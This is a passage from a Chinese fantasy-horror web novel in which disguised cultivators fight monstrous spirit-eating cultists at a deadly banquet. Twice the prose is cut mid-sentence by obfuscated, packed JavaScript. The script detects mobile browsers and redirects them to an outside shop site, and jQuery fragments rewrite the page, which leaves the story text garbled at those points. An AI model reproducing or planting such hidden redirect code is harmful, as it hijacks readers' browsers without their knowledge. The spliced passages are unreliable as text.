“你咂嘴……是什么意思?”他麻着胆子问初音。 “没什么意思,觉得你没流血,很可惜而已。”顶着初音名头的钟默坐在窗檐,相当坦诚地回了一句,“还有,别往门边走了。” “外边,也有脏东西过来了。” “……!”夷则静一惊,本能地停住脚步。下一瞬,便听“吱呀”一声,房门竟一下被从外面推开了。 “广林兄!”叶惊弦的声音旋即响起,“出什么事了?我听到你这儿有动静——” 话音未落,注意到坐在窗台上的钟默,叶惊弦复又沉默。 屋内的气氛越发古怪起来。夷则静惊魂未定,大脑也一片混沌,只下意识开口,说了自己方才遇袭的事。 顿了顿,又神情微妙地补充道:“当时,情况危急……是初音姑娘救了我。” 貌似。 更多的话他不想多说,只想赶紧把眼前古怪的两人统统送走,好给他一点空隙理清思路。 不想叶惊弦听了,却很不意外的样子,啪一下打开手中折扇: “那种怪东西,你也遇到了?” 夷则静一愣:“你为何说……‘也’?” “不久前乔大郎与耄老遇袭,袭击他们的同样是这样似人似椅的邪物。”叶惊弦正色,“这种邪物闻所未闻,又善于伪装,哪怕是食灵者,遇到它们也免不了吃亏。” “我们正打算召集所有人前往主屋进行商议。正好你俩都在,要不随我一道?” 叶惊弦说得认真,听得夷则静又是一愣。正要开口推辞,却听身后钟默冷冷出声。 “叶惊弦是吧,你鞋子怪好看啊。 “今早穿的也是这双吗?” ……? 夷则静话语顿住。 似是意识到什么,他视线缓缓下移,落在了叶惊弦脚上。呼吸蓦然一滞。 他确信,此时此刻站在他面前的是叶惊弦是没错。 但他脚上的鞋,分明是姽婳娘子的。 不、不止是鞋…… 目光微抬,却见叶惊弦雪白的衣袍底下,隐隐可见红色的下装;腰间更是有一圈血线,正在飞快晕染扩大。 脑袋嗡的一声,夷则静不再说话,缓缓向后退去。 面前的叶惊弦却忽然笑了一下。 下一刹,他的身体毫无征兆地断为两截。上半身如炮仗般高高飞起,竟是舞着扇子,直直朝着夷则静门面扑来! 夷则静吓了一跳,却还是及时握住了腰间的玉佩。正要施术,却感后领被人用力一揪,就这么直挺挺地往后倒去,险而又险地避过眼前一击! 只剩半截身子的叶惊弦勃然大怒,再次开口,发出的却不再是叶惊弦的声音: “退下,修灵者!” 钟默维持着薅人衣领的姿势,一下将人拖到窗边,闻言皱了皱眉。 “你骂谁呢。”她不高兴道。 迷迷糊糊被她薅走的夷则静:…… 不是,修灵者?谁?谁又骂你了? 怎么感觉绕到最后被骂的是我啊?? “还装。”半截叶惊弦一下趴在地上,两手撑地,抬眼冷笑,“你和那食灵者在树林中的话我都听到了。你就是那个潜入宴会的修灵者,还有什么话好说。” 夷则静:…… 啊?! 他震惊地看向钟默,后者只微皱着眉,靠在窗边往外一看—— 夷则静随着她的目光看去,脸色又是一变。 ……只见窗外,不知何时,已经站满了人。 或者说,站满了“东西”。 全是与方才椅子人相似的玩意儿。只是有的脑袋长在灶台里,有的脑袋长在床上。他们扬着动物般的蹄子,正一层一层地从四面八方围过来,声势之浩大,犹如千军万马。 又听不远处有阵阵惨叫响起,接二连三。夷则静耳力很好,一下便听出来,那些声音都属于此番与会的人。 所以现在……究竟是什么状况?? 夷则静呼吸逐渐急促,一个糟糕的猜想渐渐于他脑海中成型。 几乎是同时,他听见旁边的钟默冷哼一声。 “这么大阵仗,全体出动啊。” 她抬眼看向地上的半截叶惊弦:“不玩躲猫猫了?” 半截叶惊弦嗤笑一声,慢条斯理地从地上爬了起来。 “自然是不玩了。”他沉声道,“毕竟心心念念的饺子终于找到了,也没必要藏着掖着了。” “真正的宴会游戏,这才开始呢。” ……这话是什么意思? 夷则静心跳如擂鼓,却听旁边的初音恍然大悟地哦了一声。 “原来如此,所以对你们来说,‘混进宴会的修灵者’才是真正的饺子—— “合着你们还真不知道所谓的‘饺子’到底是谁啊。” 她叹了口气,无比自然地反手将窗户拉上: “我说呢,我之前拷问那‘椅子’那么久,一点都没问出来。原来他是真不知道。” “……”一听这话,半截叶惊弦神情登时沉了下来。 “残杀同修之仇,本就该找你报。没想到你就是饺子,那更好——新仇旧怨,一起了了!” 说完,抬起下巴,属于叶惊弦的皮囊竟瞬间裂开,从中窜出一团黑漆漆的东西,尖啸着便朝他们扑来! 钟默本能地想要抬手格挡,谁料抬到一半才想起那用惯的柴刀已被她丢了出去。手边空空,一时没有任何顺手的东西,一咬牙,索性收手换腿,一脚蹬出,边将那东西踹飞出去,边飞快开口: “结界!” “啊……哦!” 夷则静一下领会,赶紧祭出随身玉佩,唰地一声,在两人周围张开一层四方结界。 结界透明,刚好能让他们看清外面的东西。钟默冷眼望着那被自己一脚踹到门外的乌糟玩意儿,没好气地咳嗽了两声: “你这结界力量很薄啊,牢吗?” “放心!”夷则静立刻道,“这是我潜心一年做出来的成果,包牢的——” 话音刚落,那团黑色玩意儿又张牙舞爪地扑了进来,一头撞在结界上。 咔嚓一声,结界裂开一道缝隙。 钟默:“……” 夷则静:“……” 感受到来自旁边的谴责目光,他讪讪低下头去。 “这,可能是灵力的舒张没有做好。我再加一层。” 说完,攒起元功,掐起手决,以最快速度,认认真真地又补了一层防护结界。 这一回,再没看见裂缝了。就连结界被冲撞的声响都小了很多。夷则静这才稍稍安心了些。 两层结界叠加,视野也不再透明,更像是一层蒙上了雾气的琉璃。夷则静暗松口气,转头正想找钟默问个明白,却见她正四下张望着,不知想到什么,再次拧起了眉。 夷则静被她神情吓了一跳,忙道:“又怎么了?” “没什么。”钟默看他一眼,轻轻摇了摇头,体内恶咒涌动,激得她又是一阵咳,“我只是想找一把刀。” “哦哦,小刀是吧,我有啊。”夷则静赶紧道,顺手从怀里掏出一柄匕首。刚要递过去,对上钟默没有感情的双眼,又本能地停住。 “那个,初音姑娘。”他这才意识到自己好像正在犯一个大错,“请问你为何需要刀?” “割你啊。”钟默理所当然地乜他一眼,摊开右手。 “不不不请稍安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321352|149842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勿躁,这其中肯定有什么误会。”夷则静立刻道,“我、我是人我不是食灵者——我和你一样!是潜进来的修灵者你知道吗?咱俩是一锅——不是,是一伙的!” “我知道啊。”钟默被他说得烦躁,劈手夺过了他手里的匕首,“我又不是要杀你。只是想要一点你的血。” 夷则静:“……啊?” “血。”钟默无奈重复,想了想,又补充道,“我……身体不好。需要用血符来提升功力。” 说话的同时,没忍住又咳嗽起来。配上没有血色的脸颊,倒是很有说服力。 “哦……哦。”夷则静似懂非懂地点头,看了眼钟默手里的匕首,又不由咽了口唾沫,“那你,有针吗?” 钟默:“……?” “不是,这刀以前捅过邪修。我怕不干净。”夷则静苍白地辩解一句,见钟默没有说话,只木着脸看他,便知大概率是没有了。 尴尬笑笑,索性自己运起灵力,以指甲用力一划,总算在手指上拉出了一道小口。 小口上有血珠慢慢渗出。他不忍地移开目光,将手往钟默的方向递了递:“请。” “……多谢。” 钟默敷衍一句,拿着他手左右看了看,觉得这血珠实在太小,索性从旁边桌子上拿起个茶杯,开始努力地挤。 她下手没有轻重,痛得夷则静又是一阵面目扭曲。只能强迫自己转移注意力,看向面前的结界。 最外层的结界仍被外面的“叶惊弦”撞得隐隐作响。他忍不住皱了皱眉:“外面那些……到底是什么?” “还能是什么,食灵者呗。”钟默一边从他指尖伤口挤血,一边淡淡道,“或者说,是这场宴会真正的宾客。” 夷则静沉默,好一会儿才道:“所以他们……是人?” “不然呢?”钟默道。 夷则静抿唇:“可他们瞧着,已经完全不像人了。” “人本就奇形怪状得各有千秋,哪有什么像不像人的说法。”钟默头也不抬,“披着人皮的不一定是人,反过来不也一样。” 夷则静默然。 再结合之前听到的种种,就算愚钝如他,也总算搞清状况了。 ——这里确实是蜒涎狂徒的宴会没有错。但真正与会的宾客,并不是他,也不是叶惊弦、姽婳娘子,而是那些藏在暗处,悄无声息对他们下手的人。 他们从一开始就是餐桌上的菜,只是自己茫然不知。 不仅如此,他们甚至还特意放出了消息,诱使修灵者前来卧底——而这些修灵者,才是真正的饺子。是这场宴会真正的赌注和彩头。 所以他们才说,“饺子不知道自己是饺子”。 好巧不巧,自己就上赶着做了这饺子,还拖着郁清和一起。 得亏运气好遇到另外一个混进来的修灵者,不然自己怕不是已经下锅了…… 夷则静越琢磨越是后怕,想起自己不久前还信誓旦旦地怀疑初音身份,更是赧然。 就在此时,钟默却低低咦了一声。 他心头一跳,慌忙转头:“怎么了?” “不对劲。”钟默说着,将盛着血的杯子凑到了鼻尖。 旋即深叹口气,恨铁不成钢地看了过来。 “完了。”她道,“你不干净了。” 夷则静:…… 夷则静:?!! “什、什么意思?”他磕磕绊绊地开口。 “你中毒了。”钟默一言难尽地望着他,“你没感觉啊?” “什么?我……”夷则静话说一半,忽似意识到什么,脸色瞬间一变。 “姽婳娘子的那个香囊……”他飞快将东西掏出来,一脸的难以置信,“可我拿到手后,很快就把它封起来了。” 钟默拿过来嗅了下:“嗯,对,没错,就是这个。” 她将香囊往夷则静怀里一丢:“姽婳娘子最擅使毒,你不知道?” “……听过,但没想到这么厉害。”夷则静面上一烫,瞥了眼自己还在渗血的指尖,又不由一阵紧张,“那这毒……是还没发作吗?它要紧吗?” “不知道。也不重要。”钟默一脸凝重,“重要的是,这样的话,我就不能用你的血画符了。” 夷则静:“……啊?” “但没事,杀干净了应该还能用。”钟默面露思索。 夷则静:“啊??” 等等,杀谁? “毒素啊。”钟默一脸直率,“我不会医术,想要干净的血,就只能硬除了。” 她说得坦然,夷则静听着却好像有些不对。思来想去,还是忍不住多问一句:“那个,你有把握吗?” “五五开吧。”钟默侧头又是一阵轻咳,咳完再次将他手拿了起来,“我现在只纠结一个问题。” 她意味深长地拍了拍夷则静的手背。 “你说,如果我抱着救你的初衷动手,但是不小心弄死你了,那你还能算是我杀的吗?” 夷则静:“……” 不是,你这符是非画不可吗—— 他是真的要疯了。所幸就在此时,又一道熟悉声音响起: “两位,可否听我一言?” “……”是郁清和的声音。 夷则静顿了一瞬,循声转头,终于在不远处的地面上,发现一块散发着微光的玉佩。 再一琢磨,总算想起来了。 ——他之前被椅子人袭击时,手上刚好就拿着那块联络用的玉器。后面躲开时,太过慌乱,玉器不慎掉落,但施在上面的法术却没结束,以至于它一直维持在联络的状态…… 他一边回顾着,一边赶紧上前,将玉佩捡起。才刚拿到钟默身边,便听郁清和第二句话,分外清楚地从玉佩中传来: “如果只需干净人血的话,在下或可助一臂之力。” 18.第十八章 玉佩里传出的声音,听着隐隐有些耳熟,一时却想不起在哪儿听过。 钟默也懒得追究,毫不犹豫地说了声“好”。想起近在咫尺的反面教材夷则静,又不由皱了皱眉:“但你确定自己没中毒吗?” “绝对没有!”玉佩那头的郁清和还没回答,夷则静先叫起来,“他可是……总之他家学渊源,包干净的!” 他本想直接报出郁清和芳菲谷门人的名头,毕竟芳菲谷供奉千年花神,内门弟子皆受其庇佑,百毒不侵,这几乎是整个江湖都知道的事情。 ……但转念一想,人郁清和本来就逃婚出来的,想想便还是没拆穿,只将这茬含糊了过去。 所幸这事钟默依旧懒得追究,只轻轻点了点头,低头又咳几声:“我们在哪儿碰头?” “……在下现在身处另一个地方,恐怕无法立刻与修者汇合。”玉佩里的声音默了一下,认真道,“不过在下有一只传讯青鸟,应当可以代为传递。” 传讯青鸟? 钟默微微一怔,似是意识到什么,轻轻挑了挑眉。 旁边夷则静却忍不住道:“你是说你常用的那只小木鸟?过不来的吧,我们隔那么远,怕不是飞到中途就要被人打下来——” 就像是呼应着他的话语般,本已安稳的结界忽又一阵震颤——来自外部邪修的冲撞越发剧烈,惊得夷则静又猛然闭嘴。 “东边。”恰在此时,却听钟默沉声开口,“东边的画皮墙是两座宅子交界的地方,只隔一层结界。我可以帮你打开,让木鸟飞过来。” “?” 这话一出,同时引起了两人的诧异,两道声音不约而同冒出: “交界?” “画皮墙?” 前者是夷则静说的,后者则来自于玉佩里的郁清和。 “对啊。”钟默不知道他们怎么一个两个的都爱大惊小怪,想了想,又恍然大悟地自我纠正道,“哦不对。东边是我们这边的东边——对你来说应该是西边。” ……这是重点吗?? 夷则静微微张嘴,犹自诧异:“不是,这宅子的院墙我都看过,还特意翻上墙头看过。外面明明就是山林……” “假的。”钟默略显不耐地挥了挥手,“我说了,是画皮墙。你看到的一切都是假的。” 山林都是假的? 那墙的外面到底是…… 想起郁清和之前说的他那边的状况,夷则静似是终于明白了过来,渐渐变了脸色。 “……原来如此。”玉佩那头的郁清和也明白了,“所以从头到尾,宴会的会场都只有一个。” 只是他们在一个会场,摆了两张桌。 或者说,是设了两个游戏。 一个姑且算是躲猫猫,另一个则是让桌上的菜们互相狩猎。但无论如何设置,游戏的本质都是一样的——无论是哪张桌上的宾客,他们的选择都是躲在暗处,趁着无人注意,将他们这些摆上桌的菜一口一口偷偷吃掉。 推杯换盏的同时,又在各自寻觅藏在菜肴间的“饺子”。 而当那道心心念念的“饺子”终于被堂而皇之地摆上桌时,便意味着这场宴席来到了高|潮与尾声。 “……”用力闭了闭眼,郁清和开始努力平复翻涌的思绪。 他果然还是太托大了。他该再谨慎些的。明明行走江湖已有年头,遇到这种事却还是傻乎乎的走入瞉中而不自知……简直奇耻大辱。 但现在显然并不是去计较这些的时候。 深吸口气,他再次抬眼,视线寸寸扫过四周,神情愈发凝重。 ——和之前一样,他所在的宅院里依旧没有任何烛光,目之所及,皆是一片黑暗。 唯一不同的是,那些狂徒不再只满足于藏在暗处。 就在不久前——准确来说,应是他们确定“饺子”的所在之后,原本只是暗流涌动的宅院,忽然天翻地覆。 郁清和不知道那些蜒涎狂徒间是如何传递信息的,但很明显,他们都在那一刻得到了同样的信号。于是原本还只匿在暗处的他们纷纷跳出,或狂笑或尖叫,宛如蝠群般在整栋宅子里扑来奔去,抓着所有已死或未死的“宾客”,仿佛狂欢似地大快朵颐。 郁清和甚至无法确定,此时此刻,这间宅院里,是否还有除自己以外的活人…… 或者说,活菜。 所幸他结界术向来修得不错,第一时间张开结界,勉强还够自保。但若要将那只木鸟再送到西边院墙的话…… 怕是不易。 “……算了,多想无益。” 又是片时的沉默,郁清和不再犹豫,从随身芥子袋里取出一个瓷瓶,将其中的药粒全部倒出,又横剑于前,伸手剑刃上轻轻一掠,掌间立刻多出一道血口。 他以灵力做控,凝血成线,飞快灌满了一个瓷瓶,灌完用力一合掌,草草止住了血,跟着便将瓷瓶封好,又掏出随身的木鸟,打算将那瓷瓶放进去。 ……然而更尴尬的问题随之浮现。 他们门派的传讯木鸟腹腔处,确实有一处空间,可以用来放些细碎物品没错——但似乎也只能放些细碎物品。 那瓷瓶长颈圆肚,竟是无论如何都放不进去。 这可糟了……郁清和心里咯噔一下,忙又在芥子袋内一阵翻找,确信自己这边是真没更小的容器了;唯一是勉强算小的,就只有一个芥子袋,可这芥子袋也是门派发的,外人需得用他的血才能打开…… 越发无解了。郁清和眉头蹙得更紧。下一瞬,却忽似想起什么,伸手入怀,从里面掏出来一根细细的红线。 ……正是他之前被困灵域时,从那神秘滚地雷里,稀里糊涂接到的那根。 这线不知什么来头,上面竟也若有似无地沾着些灵力。他在刚逃出灵域那会儿,还曾拿出来仔细看过,正好被路过的陆子月瞧见,一通打趣,对方还信誓旦旦告诉他,这是正宗的红鸾线,传说中能给人牵姻缘的。 郁清和自是不信这些,更坚信这东西既然能从那滚地雷中出现,必然有它的深意,于是一直鬼使神差地揣到了现在…… 没想到居然还有能派上用场的一天。 郁清和心中短短感叹一瞬,不敢耽搁,忙动手用那红线将瓷瓶固定在了木鸟上。 固定完毕,万事具备,方又闭眼凝气,缓缓吐息。 ——结界外,那些嗅到他血液味道的蜒涎狂徒们早已更加疯狂,隔着结界都能感受到外界灵力此起彼伏的震荡与冲撞。恍惚之间,郁清和甚至有种自己已被装在碗里的错觉。 他修的结界术又和夷则静不同。虽说成品远比夷则静的更牢,但夷则静所擅长的那种可随身移动的小结界,他也是无论如何都织不出来的。 众目睽睽之下,要再隐匿气息也不现实。这就意味着,一旦踏出现在所处的空间,他就等同于暴露在无数邪修狂徒的眼皮子底下。 “罢了。”再次吐纳,郁清和捏指成决,仗剑于前。 “搏一把了。”他轻声说着,一手推开,牢固的结界轰然碎裂,无数碎片化为锋利的气刃,呼啸着朝着面前的人群倾泻而去。 * 另一头。 夷则静房间内。 玉佩里,是郁清和结界破碎的声音。 玉佩外,是自己结界被撞得几近碎裂的声音。 夷则静面露菜色,明知自己身为修灵者,决不可万事仰仗他人,深深看了眼钟默,却还是忍不住道:“修者,那我们现在又该咋办?” 钟默无声乜他一眼,没有回答,只低头看了看自己腕上的镯子。 映秋月给的幻术镯子,别的作用没有,就是能给她身上加一层幻术,彻底遮掩住原本的容貌——当然,现在已经没法完全遮住了。镯子半毁,覆盖在衣服上的幻术已经消失,就只剩下脸了。 她行事向来直接了当,自打进了这宅子,却从未再动过半点灵力,一直都只费劲地用刀劈人。一方面固然是因为体内恶咒犹在,她需要调用大量灵力进行压制,另一方面,也是怕这镯子再受冲撞,真给搞坏了。 话虽如此,这镯子上的裂缝却还是只多不少,也不知到底还能撑多久…… 略显烦恼地皱了皱眉,钟默说出的话却是分外坚定: “还能怎么办。自然是也得杀出去了。” “啊?”夷则静瞪大眼,“可是外面——” 话音未落,又是轰然一阵响。叠了两层的结界终究还是没能承受住外界的猛攻,彻底碎了! 外面的邪修不知何时又回到了叶惊弦的尸体里,这会儿正控着那躯体跃过碎裂的结界,五指森森化为龙爪的形状,直冲钟默门面而来! 钟默却是不躲不闪,只微微抬眼,一掌迎面拍上—— 她这回也没客气,隐雷随着掌力贯出,当场就把那叶惊弦的身体又炸开半边! 本身那叶惊弦就已只剩了一半,被她这么一炸,更是只剩四分之一。漫天的血肉碎片混着食灵者本体的黑色尸块一道,纷扬如花雨般落下,夷则静怔怔看着,竟觉喉头一阵翻涌—— 一个没忍住,呕的一声,侧头吐出一口鲜血。 “……?!” 这下轮到钟默震惊了:“这都能把你恶心吐?” 吐的还是血? “不是……是被反噬了。”夷则静话说一半,没忍住又呕了一口,“我的第二个结界是用命力布的,被强行破开的话,我会受反噬……” 而且不知是为何,总觉得浑身经脉正隐隐作痛。总觉得像是姽婳娘子埋下的毒发了。 夷则静默默想着,只觉身体一虚,不由自主便跪倒在地。偏在此时,又听身后一阵异响,转头一看,脸色更瞬间惨白如纸。 ——他们方才是把那半截叶惊弦收拾掉了没错。可除了半截叶惊弦,屋外还有那么多的椅子人呢! 也不知那些人与半截叶惊弦之间,是不是定过什么约定,方才那半截叶惊弦在时,他们虽说也在朝着这屋子靠近,却从未进入,甚至都没帮他进攻过结界…… 但现在那半截叶惊弦死了,他们反倒一下活跃起来,几乎是前赴后继地往房间里冲,椅子踩着椅子,人踩着人,宛如一片东倒西歪的潮水。 ……然而即使是东倒西歪,潮水也依旧在朝他们用来。 不过一个愣神的功夫,甚至已经有不少已然翻过了窗户。 一只只、一个个,看得夷则静心头越发沉重。 下一瞬,却只觉身体一晃,竟是被钟默直接扛到了肩上! “……?!” 夷则静一愣,下意识开口:“等等,你干嘛?携带伤者是最不明智的突围策略——” 话音未落,只听啪啪两声。钟默脚步不停,扛着他直奔窗口,顺手给了冲来的邪修一人一个大巴掌。 巴掌清脆,邪修身体爆炸的声音更是干脆。夷则静望着身后再次绽开的血雨,只觉喉头一紧,不由自主地便把话咽了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟默知道自己不聪明,但她不是没有常识。之前苏若桃的事也算给了她个小教训——人这玩意儿,真的太容易被他人的生死给动摇了。 既然她现在想要接近夷则静的朋友,那夷则静自然也是得保护好的。不然有个什么三长两短的,谁知道那人是不是又得忙着去疗伤或是哭丧,白白浪费她时间。 思索间,掌间雷光微闪,又是砰砰砰几丛血雨炸开。钟默面不改色地扛着人从血雨中走过,忽感胸口突地一痛,竟是那一直被压制的恶咒又不安分,开始蠢蠢欲动。 钟默心头一沉,面上却是不显。眼见又一个邪修斜刺里杀出,终于不情不愿地改了之前奢侈的打法,扬起夷则静之前给她的匕首,一刀直接划了过去。 正好划在那邪修颈间,拉出一道深深的血痕。咕嘟嘟的鲜血涌出,从夷则静的视角,正好能看见那邪修捂着脖子,一脸狰狞地向地上倒去。 倒地的刹那,身躯竟又变化,原地化为一摊碎烂的肉泥,肉的颜色,竟是五彩斑斓。 看得夷则静都有些恍惚:“他们……当真是人吗?” “噗。”回应他的,是钟默的一声冷笑,“不然呢?” “……我知道蜒涎狂徒是邪修。”夷则静咽了口唾沫,“可从未想过,他们能邪到这地步,居然连人样都没有了。” 实不相瞒,在刚看到的时候,他甚至还以为,面前的这些,甚至连人都不是,而是真正的“蜒涎”。 传说中那贪得无厌,什么都吃的妖异。 钟默却只再次冷笑一声。 “很正常啊。”她边赶路边道,“见过被硬逼着吃灵裔的偃灵吗?” 夷则静一愣:“啊?” “偃灵可以食灵,但不懂吸收。因此没消化的力量便在体内冲撞,甚至会扭曲面目和身体。”钟默脚步很急,语速却依旧不紧不慢,“你看到的那些人,也是差不多的状况。” “不同的是,我看他们还挺乐在其中的。” 夷则静心头一颤:“这话又是什么意思?” “椅子、土地、床。”钟默淡淡道,“要将身体变成那副模样,肯定得进食不少同类的灵。吃完又故意不吸收,才能让那些物灵的外在也在自己身上重现。” 语毕,竟突然一笑。 “物灵开蒙极难,尤其是椅子与床这类俗物。也不知他们费了多大心思,才搜罗了那么多来。” “……” 不知是不是夷则静多想,感觉她说到最后,很有点咬牙切齿的意思。 “这……毕竟都邪修了。”夷则静也不知如何宽慰她,只讷讷道,“邪修行事向来残忍乖张。不然他们也不会以‘蜒涎’自称……” “蜒涎?”钟默一个急转弯,声音不觉高了些许,“世上根本就没有蜒涎这种灵裔。” “贪得无厌是人,欲壑难填是人,自己把自己搞得人不人鬼不鬼,到头来却要把名头都推到灵裔身上,用一个杜撰的灵裔来做遮羞布。也是真有意思。” 夷则静:“……” 是毒素导致的幻觉吗? 明明现在是钟默在带着他跑,但他不知为何,竟莫名有种,她随时会把自己扔下来一起杀掉的错觉…… 还好,这种感觉并没有停留太久。 风穿树林,带来阵阵尸臭。钟默缓缓停下脚步。 他们面前,正是钟默所说的那面“画皮墙”。